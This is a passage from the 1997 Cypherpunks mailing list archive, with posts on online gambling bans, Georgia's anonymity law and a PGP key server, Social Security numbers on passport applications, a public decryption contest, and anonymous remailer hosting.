>>on Friday banned an Internet gambling company from operating in the
>>state.

As my daddy once said, "Son, follow the money."

Dispite the clearly boogyman media coverage, for example, about teens using
their parent's credit cards to gamble online, all this hand wringing and
posturing by states is merely about trying to prevent competition to their
monopoly gaming franchise.  Although online gaming is strictly in a nascent
stage, the revenue generated by state run or regulated gaming has become
too large and important to state politicians to allow unregulated (i.e.,
taxed) Internet business to muscle in.  Hell, the lotteries are nothing
more than a state franchised number's racket.

The mistake Interactive Gaming and some other online gaming sites have made
is to have any corporate presence in the US.  I guess its a bit of bravado
on the part of these entrepreneurs, mostly American, to "tickle the
dragon's tail" and not expect to get whipped once in a while.

For excellent coverage of this issue, see Glenn Barry's coverage in Rolling
Good Times OnLine's site at http://www.rgtonline.com/Nambling.html

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From zreqdasetcv at aol.com  Wed May 28 05:33:20 1997
From: zreqdasetcv at aol.com (frank)
Date: Wed, 28 May 1997 05:33:20 -0700 (PDT)
Subject: Tired of Not Making Money on the Internet?
Message-ID: <01ee52016121c57NIH2WAAE@csi.com>


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From pooh at efga.org  Tue May 27 14:36:28 1997
From: pooh at efga.org (Robert A. Costner)
Date: Wed, 28 May 1997 05:36:28 +0800
Subject: The lights went out in Georgia
In-Reply-To: <3.0.2.32.19970527154305.007098e4@keystone.intergate.net>
Message-ID: <3.0.2.32.19970527171526.0074890c@keystone.intergate.net>


-----BEGIN PGP SIGNED MESSAGE-----

At 01:36 PM 5/27/97 -0700, Tim May wrote:
>But as Robert knows more directly than I, Georgia also has the "anonymity
>is a crime" laws on the books 
...
>So, what will happen if people, entities, remailers, pseudonyms, etc..
>submit keys to this EFF-Georgia repository without providing SS number,
>passport, mother's maiden name, etc.?

If Tim read the article he quoted from, he will notice that EFGA has sued the 
state of Georgia over the on-line anonymity law.  We were in court on Feb 12, 
and while we have been waiting longer than expected, we anticipate the federal 
judge to rule in our favor, and against the state.

The original Digital Signature law proposed in Georgia was an invasive 
bureaucratic law very similar the laws passed in Utah and Washington State, 
and similar to the model proposed by the American bar Association.  This law 
attempted to have a state controlled Ministry of Signatures that would have 
databases linking email addresses to credit bureau files.  I led EFGA in 
opposing the state on this issue.  We went to Digital Signature Task Force 
Meetings, testified at Senate hearings, gathered research from other places, 
and did a lot to help educate the local lawmakers and corporate people.

The result of this education process was that the original bill was thrown out 
and replaced with a much better Electronic Records and Digital Signature Act 
to be passed here in Georgia.

The X.509 type provisions are not implemented in the EFGA key repository.  No 
proof of identity is required - the certification is based on the web of trust 
principle.  To further enhance privacy, we have turned off replication of keys 
to other servers and will not be allowing searches on the database, only exact 
user matches.  EFGA has identified privacy problems with the existing MIT 
(Horowitz) PGP key server and we are attempting to help plug the holes.

I think you will find that what happens when people use key repositories and 
crypto in Georgia without disclosing private personal information is that the 
State of Georgia will be endorsing strong crypto.  The Georgia Information 
Technology Policy Council will report on it, and the Electronic Commerce Study 
Committee will report on it.  And the state government will endorse the use of 
512 to 2048 bit encryption without escrrow.

PS.  You are still invited to use PGP5.0 to send your keys to keys.efga.org


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM4tO6UGpGhRXg5NZAQFujQH/bbL+OPSeeXA3xwK1ju+pMOLs7+3vEZjC
U1ysIir7TUiJJvz7nYNPrJA2CbXKk4/QSN9hoz0B1DN8E5Q/OuLfNA==
=KEZf
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From markm at voicenet.com  Tue May 27 15:09:34 1997
From: markm at voicenet.com (Mark M.)
Date: Wed, 28 May 1997 06:09:34 +0800
Subject: SSN and passport
In-Reply-To: <199705271820.LAA07618@jefferson.hidden.net>
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 27 May 1997, Anonymous wrote:

>      I recently applied for a U.S. passport and, as an experiment,
> entered a SSN of 000-00-0000.  The nice lady at the counter informed
> me that it would not be processed unless I provided a valid SSN (which
> gets forwarded to the IRS).  It was my understanding that this
> disclosure was voluntary and that another form was available for
> notifying the IRS that a passport had been applied for.
> 
>      My travel plans didn't allow me the luxury of delaying the
> application process, so I provided the damn number.  Does anyone know
> the real rules for this situation?  Must passports be cleared with the
> tax goons or do they just want to keep tabs on people travelling
> abroad?

I don't know the reason, but the IRS tax code requires that all passport
applicants supply their SSNs to the IRS.  The penalty for failing to
notify is $500.  I recently encountered this situation and just left
the SSN blank.  After explaining to the lady behind the counter that
I was not required to give my SSN to the State Department, she eventually
accepted the application without the SSN.  I sent a letter to the IRS
(address where tax returns are supposed to be sent) explainging the
situation and included my SSN in the letter.  I applied for the passport
two months ago and have not been hassled by the IRS.  A sample letter
is at ftp.cpsr.org/cpsr/privacy/ssn/passport.ps.  There's also more
about this in the SSN FAQ.




Mark
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Charset: noconv

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WGq17xwtoVvSaMOW2CFspbhGNpM18UK7CkCm5ugGUD2lUIMztO9u4NQPgHIHHetX
XTIxKd/SoQUTMzAFybRyUAtg4EKlhGLotMNNU7/xNlkCaTlgXRKTg2BPnrykhhHI
Sxn/NVhpWnYjF2eJpKAIsf6eU/ElhVkXiQ7C4mQFdMNTP8wijBlIib1qI7M3h0lq
ji2UDBxPOhNSwkMjO1O1wxgRs6Lvj0+YDPyjoWPifLddUImZ1vmw+w==
=TvQx
-----END PGP SIGNATURE-----






From rah at shipwright.com  Tue May 27 15:22:02 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 28 May 1997 06:22:02 +0800
Subject: Liberty Cash
Message-ID: 



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: "R. Jason Cronk" 
Mime-Version: 1.0
Precedence: Bulk
Date:  Mon, 26 May 1997 13:46:10 -0400
From: "R. Jason Cronk" 
To: Multiple recipients of 
Subject:  Liberty Cash

More account based $%&#!! from the US Post Office:


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convenient new cash replacement card, available only from the United States
Postal Service.

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paid up.

The refillable card gives you the security of a PIN and is a real favorite
with the business crowd.  It's available in intial amounts from $5-$300 and
can be refilled to a maximum balance of $300.

The disposable card is perfect for your small purchases, and there's no PIN
to remember.  It's available in $10 and $20 amounts and, once it's spent,
you can throw the card away or keep it as a collectible.

Safer than cash.  Use a refillable card and we can easily replace it if
it's lost or stolen.  Just go to a participating post office, and we'll
transfer your remaining balance to a new card.  It's as simple as that.


----------
The e$ lists are brought to you by:

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--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From DataETRsch at aol.com  Tue May 27 15:23:06 1997
From: DataETRsch at aol.com (DataETRsch at aol.com)
Date: Wed, 28 May 1997 06:23:06 +0800
Subject: Decryption contest details...
Message-ID: <970527175035_36844712@emout15.mail.aol.com>


Host: DataET Research (http://www.dataet.com)
Contest expiration date: July 1st, 1997
Encrypted file location:
http://www.dataet.com/public/source/vsacmv20/crackit.dat
Applied encryption algorithm: VSA2048
Encryption algorithm source code:
http://www.dataet.com/public/source/vsacmv20/
Applied key size: 120 bits (15 bytes)
Encrypted (secured) file size: 50,000 bytes
Decrypted (unsecured) file size: 50,000 bytes
Hints: No message hints available
Key and message post location: cypherpunks at toad.com
Contact: info at dataet.com
Limitations: U.S. residents only
Prize: Two free basic Web site packages

CRACKIT.DAT file statistics:

Type: Binary (Intel)
Characters: 50,000






From DataETRsch at aol.com  Tue May 27 15:26:03 1997
From: DataETRsch at aol.com (DataETRsch at aol.com)
Date: Wed, 28 May 1997 06:26:03 +0800
Subject: CRACKIT.DAT increased to 50,000 bytes.
Message-ID: <970527175002_2019806503@emout15.mail.aol.com>


In a message dated 97-05-26 19:38:43 EDT, you write:

<< The test file is only 836 bytes long.  Could you please post a file
 consisting of, say, 50.000 space characters encrypted with the same
 key? >>

50,000 with the same key? Sure. A new file will be posted under the same name
as the previously posted one. The same key will be used to encrypt the file
before posting. Contest details will be reposted. By the way, a simple
VSA2048 decryption program will be released soon so that there will not exist
a need to develop one to decrypt the file. Also, the contest expiration date
has been extended to July 1st, 1997. Good luck!

Again, random XOR is *not* the only method used to encrypt data. In fact,
random XOR could be left out. Consider examining VSACMInternal (in
INTUNIT.PAS) and VSACMProcessOperation in LIBUNIT.PAS for additional
information.

Regards,

Jeremy Yu-Ramos
DataET Research






From DataETRsch at aol.com  Tue May 27 15:30:35 1997
From: DataETRsch at aol.com (DataETRsch at aol.com)
Date: Wed, 28 May 1997 06:30:35 +0800
Subject: CRACKIT.DAT increased to 50,000 bytes.
Message-ID: <970527174952_-1062248409@emout10.mail.aol.com>


In a message dated 97-05-26 19:38:43 EDT, you write:

<< The test file is only 836 bytes long.  Could you please post a file
 consisting of, say, 50.000 space characters encrypted with the same
 key? >>

50,000 with the same key? Sure. A new file will be posted under the same name
as the previously posted one. The same key will be used to encrypt the file
before posting. Contest details will be reposted. By the way, a simple
VSA2048 decryption program will be released soon so that there will not exist
a need to develop one to decrypt the file. Also, the contest expiration date
has been extended to July 1st, 1997. Good luck!

Again, random XOR is *not* the only method used to encrypt data. In fact,
random XOR could be left out. Consider examining VSACMInternal (in
INTUNIT.PAS) and VSACMProcessOperation in LIBUNIT.PAS for additional
information.

Regards,

Jeremy Yu-Ramos
DataET Research






From rah at shipwright.com  Tue May 27 15:33:56 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 28 May 1997 06:33:56 +0800
Subject: New Hampshire INTERNET SIG Meeting, Tuesday, June 3, 1997
Message-ID: 



--- begin forwarded text


To: nh-isig at bcs1.ziplink.net, isig at signet.org, talk at web-net.org,
        discuss at tarnhelm.blu.org
Subject: New Hampshire INTERNET SIG Meeting, Tuesday, June 3, 1997
Mime-Version: 1.0
Date: Tue, 27 May 97 12:36:48 -0400
From: "Jerry Feldman" 
X-Mts: smtp
Sender: owner-isig at signet.org
Precedence: bulk
Reply-To: isig at signet.org

When:    Tuesday June 3, 1997 7PM
Where:   Nashua, NH Public Library, 2 Court St, Nashua, NH.
Topic:   Technology and social consequences of digital commerce and
         financial cryptography.
Speaker: Robert Hettinga, founding moderator of the
         Digital Commerce Society of Boston.

The NH INTERNET SIG (Special Interest Group) welcomes you to its
monthly meeting, the first Tuesday of every month.
The next meeting
is on June 3rd and will focus on the technology and social
consequences of digital commerce and financial cryptography.
Mr. Hettinga is also general chair of Financial
Cryptography 1997, the world's first conference on Financial
Cryptography. However, financial cryptography, the technology which
underlies digital commerce in its most secure form, will have much
more profound implications than merely the simplification of sales and
distribution. It permits us to make anonymous *cash* transactions for
everything from a billion-dollar foriegn exchange trade to, probably,
the switching of internet packets themselves.  If this promise is
kept, it could change the fundamentals of our entire society.

Please check out Mr. Hettinga's web site:http://www.vmeng.com/rah/

This meeting promises to be fun and informative for both the technical
and non-technical computer users.

For more information contact Ken Adams at (603) 598-1823
eMail: director at nh-isig.org
For more information contact Jerry Feldman ,
NH-ISIG meeting coordinator..
Mailing list: nh-isig at bcs1.ziplink.net
WWW:          http://www.nh-isig.org

Directions to the Nashua Public Library
All parking if free after 5PM.

>From south of Nashua:
Take Route 3 North to Nashua. Take exit 5E, Route 111 East
(Kinsley St., There is a Howard Johnson's Motel at the exit).
Follow 111 East (Kinsley St.) to the fourth set of lights and Main
St. North. Turn left onto Main St. and at the third set of lights turn
right onto Temple St. Take Temple St. to 2nd left onto Cottage Avenue
(Behind Indian Head Plaza) into Library's metered parking lot.

>From North of Nashua:
Take the Everett Turnpike (Rte. 3) to Exit 7-E, 101A (Amherst St.)
Follow 101A to major intersection and turn right onto Main St. Follow
Main St. and turn left at the second set of lights onto Temple
St. Take Temple St. to 2nd left onto Cottage Avenue (Behind Indian
Head Plaza) into Library's metered parking lot.





--
+-------------------------------------------------------------+
Jerry Feldman            gaf at SigNet.org
New Hampshire Internet SIG Meeting Coordinator
+-------------------------------------------------------------+



--
To unsubscribe from this list, send mail to majordomo at signet.org
with the following text in the *body* (*not* the subject line) of the letter:
unsubscribe isig

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From wombat at mcfeely.bsfs.org  Tue May 27 16:57:52 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Wed, 28 May 1997 07:57:52 +0800
Subject: [noise] AGIS says "no more spam"? (fwd)
Message-ID: 



[snipped]

[full text at http://www.agis.net/press26.htm]

AGIS, IEMMC Halt Bulk E-Mail 

Dearborn, MI May 27th, 1997: Worldwide Internet access provider AGIS (Apex
Global Internet Services, Inc.) has challenged all members of the Internet
E-Mail Marketing Council (IEMMC) to stop originating all bulk e-mail
through the AGIS network. Under the terms of this agreement, Cyber
Promotions, Cybertize E-mail, Integrated Media Promotions, ISG, and
Quantum Communications agreed to cease sending unsolicited commercial
e-mail (UCE) through the AGIS network until the IEMMC delivers a working
filtration system and acceptable use policies.






From nobody at huge.cajones.com  Tue May 27 17:13:54 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 28 May 1997 08:13:54 +0800
Subject: Beware of encrypted processors bearing gifts...
Message-ID: <199705272347.QAA10019@fat.doobie.com>


Jim Burnes wrote:
> On Sat, 24 May 1997, Lucky Green wrote:
> > At 10:28 PM 5/24/97 -0400, Dave Emery wrote:
> > >     A three way encrypted handshake between an encrypted agent that
> > >was part of the OS and  a smart card and software at an ISP could be
> > >used to enforce an internet drivers license law for  example, with no
> > >packets being forwarded by the ISP without hard  authentication (even up
> > >to biometrics) of the user. 

> > [For those new to Cypherpunks, I consider the requirement for an Internet
> > Driver License as inevitable as the sun raising tomorrow morning. While the
> > event is technically in the future, it will occur with a certainty that it
> > may just as well have already happened in the past. 

> If this kind of thing gets through without a huge fight from the
> public in general and the crypto community specifically, then we
> get exactly what we deserve.
 
> I will be heading for some quiet island at that point.
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
We now live in an age where, in between the slumber of the soap operas 
and the bewitchment of 'prime time,' we are fed our opinions and 
world-views in catch-phrases and ten second sound-bytes. 

At the same time, Gomez sees to it that there is enough trouble and 
turmoil in the world that the World Leaders, even in democracies,
can chip away at human and individual rights under the guise of dealing 
with various 'threats' that they, themselves, have concocted as a means
of retaining power over the masses. 

Even as the governments of the world strive to bring everyone and 
everything, however minute, under tight control and regulation, Gomez 
and the Dark Allies are behind the scenes, helping to guide the 
development of a technology that will, along with television, be 
the ultimate weapon in their struggle for the domination of all 
mankind---the Computer.

The rich and powerful have managed to lull us to sleep with the 
hypnotizing power of television---stealing our thoughts and our 
reasoning processes in our slumber, feeding us our reality via the 
airwaves...according to the 'official' party line. 

The government and the media have placed us on neat little shelves 
where we are numbered and labeled according to their own wants and 
needs. We are allowed the illusion of freedom of thought, and 
individual choice, as long as we have our 'Freedom of Thought Permit
1136.51.709' and don't stray too far from the permitted paths. 

In the great battles of the past the Dark Forces have always been 
beaten by the individuals scattered in the secret places, living 
unnoticed in obscurity. Living quietly and unobtrusively, forgotten 
about in the madness storming the land, they have kept alive the 
spark of Thought and Reason. They were able to go quietly about 
their work, making contact with the individuals who were ready to 
escape the madness and work towards restoring Sanity in the land.

This time there will be no escape. Every man, woman and child on the 
face of the earth will have a dossier documenting their life from the
time of their arrival on the face of the planet.
Information gleaned from the Department of Motor Vehicles, their Social
Security Number, banks, credit cards, magazine subscriptions, 
charitable and political contributions. 

When Gomez removes the masks of his human allies, revealing them as 
dark agents who have been rewarded with wealth and power for doing 
the bidding of the Evil One, the names of the misfits and 
wrong-thinkers will be spit out of the computers at the speed of 
light---to be rounded up and disposed of in the opening salvo of 
the new Holocaust. 

   Excerpt from "The Xenix Chainsaw Massacre" (1989)
http://bureau42.base.org/public/xenix/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

I first read the above work in 1990 when it was considered by some to
be Orwellian in scope and by others to be paranoid babbling. Since then
I have watched the underlying theme of the work come to fruitation
slowly but inexorably.
Since my first reading of it I began taking steps to secure my files
and communications and in the process I discovered cryptography. In
1990 that made me a paranoid oddball to be viewed with skepticism.
Now there is a name for my disease: Cypherpunk Syndrome.

Not A Hypochondriac
~~~~~~~~~~~~~~~~~~~






From SerenityInfo at savetrees.com  Wed May 28 08:33:31 1997
From: SerenityInfo at savetrees.com (SerenityInfo at savetrees.com)
Date: Wed, 28 May 1997 08:33:31 -0700 (PDT)
Subject: Big Sale!  3 million Emails for $500 Plus Free 2yr Autoresponder!
Message-ID: <0000000000.AAA000@savetrees.com>



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From frissell at panix.com  Tue May 27 17:54:00 1997
From: frissell at panix.com (frissell at panix.com)
Date: Wed, 28 May 1997 08:54:00 +0800
Subject: SSN and passport
In-Reply-To: <199705271820.LAA07618@jefferson.hidden.net>
Message-ID: <3.0.2.32.19970527203331.037f4124@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 05:02 PM 5/27/97 -0400, Mark M. wrote:

>I don't know the reason, but the IRS tax code requires that all passport
>applicants supply their SSNs to the IRS.  

The Feds would like to keep track of and find expatriate Americans who don't 
file tax returns (some 60% of the total).  Unlike almost all other countries, 
the U.S. taxes all of its citizens even those who have never set foot in 
America.

>The penalty for failing to
>notify is $500.  I recently encountered this situation and just left
>the SSN blank.  After explaining to the lady behind the counter that
>I was not required to give my SSN to the State Department, she eventually
>accepted the application without the SSN.  I sent a letter to the IRS
>(address where tax returns are supposed to be sent) explainging the
>situation and included my SSN in the letter.  I applied for the passport
>two months ago and have not been hassled by the IRS.  A sample letter
>is at ftp.cpsr.org/cpsr/privacy/ssn/passport.ps.  There's also more
>about this in the SSN FAQ.

Here's the US Code Section from 
http://www.law.cornell.edu/uscode/26/6039E.html   

     UNITED STATES CODE 
          TITLE 26 - INTERNAL REVENUE CODE 
               Subtitle F - Procedure and Administration 
                    CHAPTER 61 - INFORMATION AND RETURNS 
                         Subchapter A - Returns and Records 
                              PART III - INFORMATION RETURNS 
                                   Subpart A - Information Concerning Persons 
Subject to Special Provisions 



� 6039E. Information concerning resident status

     (a) General rule 

     Notwithstanding any other provision of law, any individual who - 
          (1) applies for a United States passport (or a renewal thereof), or 
          (2) applies to be lawfully accorded the privilege of residing 
permanently in the United States as an immigrant in
          accordance with the immigration laws, shall include with any such 
                                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^
application a statement which includes the
^^^^^^^^^^^
          information described in subsection (b). 
     (b) Information to be provided 

     Information required under subsection (a) shall include - 
          (1) the taxpayer's TIN (if any), 
          (2) in the case of a passport applicant, any foreign country in 
which such individual is residing, 
          (3) in the case of an individual seeking permanent residence, 
information with respect to whether such individual
          is required to file a return of the tax imposed by chapter 1 for 
such individual's most recent 3 taxable years, and 
          (4) such other information as the Secretary may prescribe. 
     (c) Penalty 

     Any individual failing to provide a statement required under subsection 
(a) shall be subject to a penalty equal to $500
     for each such failure, unless it is shown that such failure is due to 
reasonable cause and not to willful neglect. 
     (d) Information to be provided to Secretary 

     Notwithstanding any other provision of law, any agency of the United 
States which collects (or is required to collect) the
     statement under subsection (a) shall - 
          (1) provide any such statement to the Secretary, and 
          (2) provide to the Secretary the name (and any other identifying 
information) of any individual refusing to comply
          with the provisions of subsection (a). Nothing in the preceding 
sentence shall be construed to require the
          disclosure of information which is subject to section 245A of the 
Immigration and Nationality Act (as in effect on
          the date of the enactment of this sentence). 
     (e) Exemption 

     The Secretary may by regulations exempt any class of individuals from the 
requirements of this section if he determines
     that applying this section to such individuals is not necessary to carry 
out the purposes of this section. 

***************

It seems to say that the TIN (Taxpayer ID Number) has to accompany the 
application.  In theory, State can't deny a passport based on refusal to 
supply the number but your mileage may vary.  As far as we can determine, no 
one has ever been fined $500 by IRS.  Looks like fodder for the sheeple to me.

I'm reapplying this summer and will not rat on myself.  We'll see how it goes.

In the half dozen refusals to supply number that I am personally familiar 
with, the passport has never been refused.

The report of a foreign address is a real laugh riot since US sheeple are not 
subject to address registration and can claim any address they like (although 
in that case, I guess they're not sheeple).

DCF

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM4t9WoVO4r4sgSPhAQEfzwQAkYpLYOWSqjtGQhHXF2SWB2JKmSL6G625
LxmYK8OJ33ukK3dL569zFAZtD/adxn06XDTPVqkEU9Z51cDEfwTFX8qJaOY6zzNw
0gWXXvr7FHefuqrfRBDQT00uBD/WQgKHam9uxKVBW3lZ1QV+um3rvs3Iafg42yZ1
Wo+PyUP7I5g=
=9hEF
-----END PGP SIGNATURE-----






From nobody at huge.cajones.com  Tue May 27 18:00:21 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 28 May 1997 09:00:21 +0800
Subject: SSN and Passports
Message-ID: <199705280035.RAA11886@fat.doobie.com>



Wednesday, May 28, 1997 - 02:10:42 MET

>I don't know the reason, but the IRS tax code requires that all passport
>applicants supply their SSNs to the IRS. 

The reason is obvious - they want to make sure they've
got their hands on your wallet, especially if you might
be the type of person who goes overseas, where there are
more opportunities to move money outside their supervision.

When I last renewed my passport, I had enough time to do it by mail
(with the extra fee for expedited service.)  Since I don't have
legal knowledge that the Secretary of Social Security has issued
me a number (my father gave me an SSN card when I was a kid,
which he had probably had issued to him for my bank account),
I had to strictly obey the law and leave the box blank :-)
Not a problem.

On the other hand, I know someone else who has the wrong name
on her passport, because the State Department has trouble
keeping track of divorced parents' name changes.
She filled out the SSN on her passport applications,
and a few weeks after she got the new passport,
she got a letter from the IRS saying "Dear Ms. Wrong-Name:
We don't have any tax returns with your name on them that match
SSN that you gave the Passport Office.  Please send us copies
of all your last N tax returns!"

Governments.  How quaint.






From stewarts at ix.netcom.com  Tue May 27 19:38:43 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 28 May 1997 10:38:43 +0800
Subject: The lights went out in Georgia
In-Reply-To: <3.0.2.32.19970527154305.007098e4@keystone.intergate.net>
Message-ID: <3.0.1.32.19970527170546.0073fa80@popd.ix.netcom.com>


At 01:36 PM 5/27/97 -0700, Tim May wrote:
>>Electronic Frontiers Georgia has set up a key repository for PGP type keys.
...
>But as Robert knows more directly than I, Georgia also has the "anonymity
>is a crime" laws on the books (an article excerpt is below...doing a search
>on Georgia and anonynimity will turn up a lot of articles).
...
>So, what will happen if people, entities, remailers, pseudonyms, etc..
>submit keys to this EFF-Georgia repository without providing SS number,
>passport, mother's maiden name, etc.?

It's not really a big problem - the law doesn't forbid the EFF to accept
anonymously submitted communications, it only forbids Subjects of the 
State of Georgia to send them.  

>(Will Georgia seek the BlackNet operator's extradition for not complying
>with Georgia's law when he submits the BlackNet key? Does the Georgia EFF
>plan to enforce the Georgia law?)

If you don't provide enough address information along with your key 
for the Cracker Police to find your True Name and hunt you down, 
that's just a shame, now isn't it...  especially if the EFGA doesn't 
file a complaint about it.  Besides, how can they extradite someone they
can't find - send polite diplomatic notes to all the governments
in the world asking them to find some unknown character for them?
"Please extradite the usual suspects!"



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From nobody at REPLAY.COM  Tue May 27 19:44:25 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 28 May 1997 10:44:25 +0800
Subject: Nym Servers
Message-ID: <199705280120.DAA24921@basement.replay.com>



-----BEGIN PGP SIGNED MESSAGE-----

Re: Nym Servers
To: Cypherpunks

Igor and D.V. have been discussing the viability of
cyberpromo as a host site for remailers; Igor points out
that many recipients will auto-trash anything from there.
On the other hand, it's a good entry point for a middleman remailer
or a nym remailer, as long as you can trash anything from there
without also trashing your remailer's mail :-)
In particular, your remailer was going to remove direct references
to cyberpromo anyway.

However, the prices have changed since I brought up the idea
a month ago.  At the time, they had auto-responders with POP mail -
- - $50/2yrs POP+autoresponder, or $39 one-time for a mail forwarder.
Now, however, they offer autoresponders for 3/$99 for three years,
with no mention of POP mail or forwarding - I don't know if they've
dropped the service (in favor of web hosting at $25/month),
or if it's still there and just not advertised.  (Of course,
there's still the moral dilemma that even $99 is $99 in Spamford's pocket :-)

               Spambert
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBFAwUBM4uEWYuqXu2FMJm1AQGMWAF9FCraS1yFl5EOFPW/ISNCH+Sqc1qnUwCi
+du2tY+MiRiAz64yHX95HNZ5iz/DZLij
=c6PD
-----END PGP SIGNATURE-----







From ravage at EINSTEIN.ssz.com  Tue May 27 20:24:58 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 28 May 1997 11:24:58 +0800
Subject: Unexpected SSZ downtime...
Message-ID: <199705280306.WAA00383@einstein.ssz.com>


Hi,

As some of you are aware, we are having a hell of a day concerning weather.
Not only are 300+ homes north of Austin simply not there any more thanks to
a monster twister (it even tore some of the slabs out of the ground) but we
have had a very wide power outage. At the current time SSZ and associated
systems are back up and working. We are expecting another heavy wave of
weather later tonite. If the current forcast is still set at midnite SSZ may
go down from midnite CST to around 7AM CST tomorrow.

Take care and some cover (if you can find it).


                                                     Jim Choate
                                                     CyberTects
                                                     ravage at ssz.com






From ichudov at algebra.com  Tue May 27 21:32:28 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 28 May 1997 12:32:28 +0800
Subject: Nym Servers
In-Reply-To: <199705280120.DAA24921@basement.replay.com>
Message-ID: <199705280328.WAA28113@manifold.algebra.com>


Anonymous wrote:
> Re: Nym Servers
> To: Cypherpunks
> 
> Igor and D.V. have been discussing the viability of
> cyberpromo as a host site for remailers; Igor points out
> that many recipients will auto-trash anything from there.
> On the other hand, it's a good entry point for a middleman remailer
> or a nym remailer, as long as you can trash anything from there
> without also trashing your remailer's mail :-)

Yes, a middleman remailer can be placed at cyberpromo, as long as other
remailers accept cyberpromo email.

> In particular, your remailer was going to remove direct references
> to cyberpromo anyway.

Well, if mail comes from (MAIL FROM: command of SMTP) one of the 300
Cyberpromo domains, it has _some_ chances of being trashed because of
the local bans on these domains.

My internet provider Galstar, for example, trashes all mail coming
from Cyberpromo, savetrees and so on.

> However, the prices have changed since I brought up the idea
> a month ago.  At the time, they had auto-responders with POP mail -
> - - $50/2yrs POP+autoresponder, or $39 one-time for a mail forwarder.
> Now, however, they offer autoresponders for 3/$99 for three years,
> with no mention of POP mail or forwarding - I don't know if they've
> dropped the service (in favor of web hosting at $25/month),
> or if it's still there and just not advertised.  (Of course,
> there's still the moral dilemma that even $99 is $99 in Spamford's pocket :-)
> 
>                Spambert
> -----BEGIN PGP SIGNATURE-----
> Version: 5.0 beta
> Charset: noconv
> 
> iQBFAwUBM4uEWYuqXu2FMJm1AQGMWAF9FCraS1yFl5EOFPW/ISNCH+Sqc1qnUwCi
> +du2tY+MiRiAz64yHX95HNZ5iz/DZLij
> =c6PD
> -----END PGP SIGNATURE-----
> 
> 



	- Igor.






From ichudov at algebra.com  Tue May 27 21:54:54 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 28 May 1997 12:54:54 +0800
Subject: CRACKIT.DAT increased to 50,000 bytes.
In-Reply-To: <970527175002_2019806503@emout15.mail.aol.com>
Message-ID: <199705280337.WAA28169@manifold.algebra.com>


Jeremy,

I must commend you for your helpfulness and cooperation. Not being a
professional cryptographer, I believe that your algorithms are not
very strong, but I will be happy if you and others prove me wrong. 

Actions such as yours inspire trust in the cryptographic software
that you write, if it passes the review.

Thank you.

	- Igor.

DataETRsch at aol.com wrote:
> 
> In a message dated 97-05-26 19:38:43 EDT, you write:
> 
> << The test file is only 836 bytes long.  Could you please post a file
>  consisting of, say, 50.000 space characters encrypted with the same
>  key? >>
> 
> 50,000 with the same key? Sure. A new file will be posted under the same name
> as the previously posted one. The same key will be used to encrypt the file
> before posting. Contest details will be reposted. By the way, a simple
> VSA2048 decryption program will be released soon so that there will not exist
> a need to develop one to decrypt the file. Also, the contest expiration date
> has been extended to July 1st, 1997. Good luck!
> 
> Again, random XOR is *not* the only method used to encrypt data. In fact,
> random XOR could be left out. Consider examining VSACMInternal (in
> INTUNIT.PAS) and VSACMProcessOperation in LIBUNIT.PAS for additional
> information.
> 
> Regards,
> 
> Jeremy Yu-Ramos
> DataET Research
> 



	- Igor.






From tcmay at got.net  Tue May 27 22:02:07 1997
From: tcmay at got.net (Tim May)
Date: Wed, 28 May 1997 13:02:07 +0800
Subject: The lights went out in Georgia
In-Reply-To: 
Message-ID: 


At 5:15 PM -0400 5/27/97, Robert A. Costner wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 01:36 PM 5/27/97 -0700, Tim May wrote:
>>But as Robert knows more directly than I, Georgia also has the "anonymity
>>is a crime" laws on the books
>...
>>So, what will happen if people, entities, remailers, pseudonyms, etc..
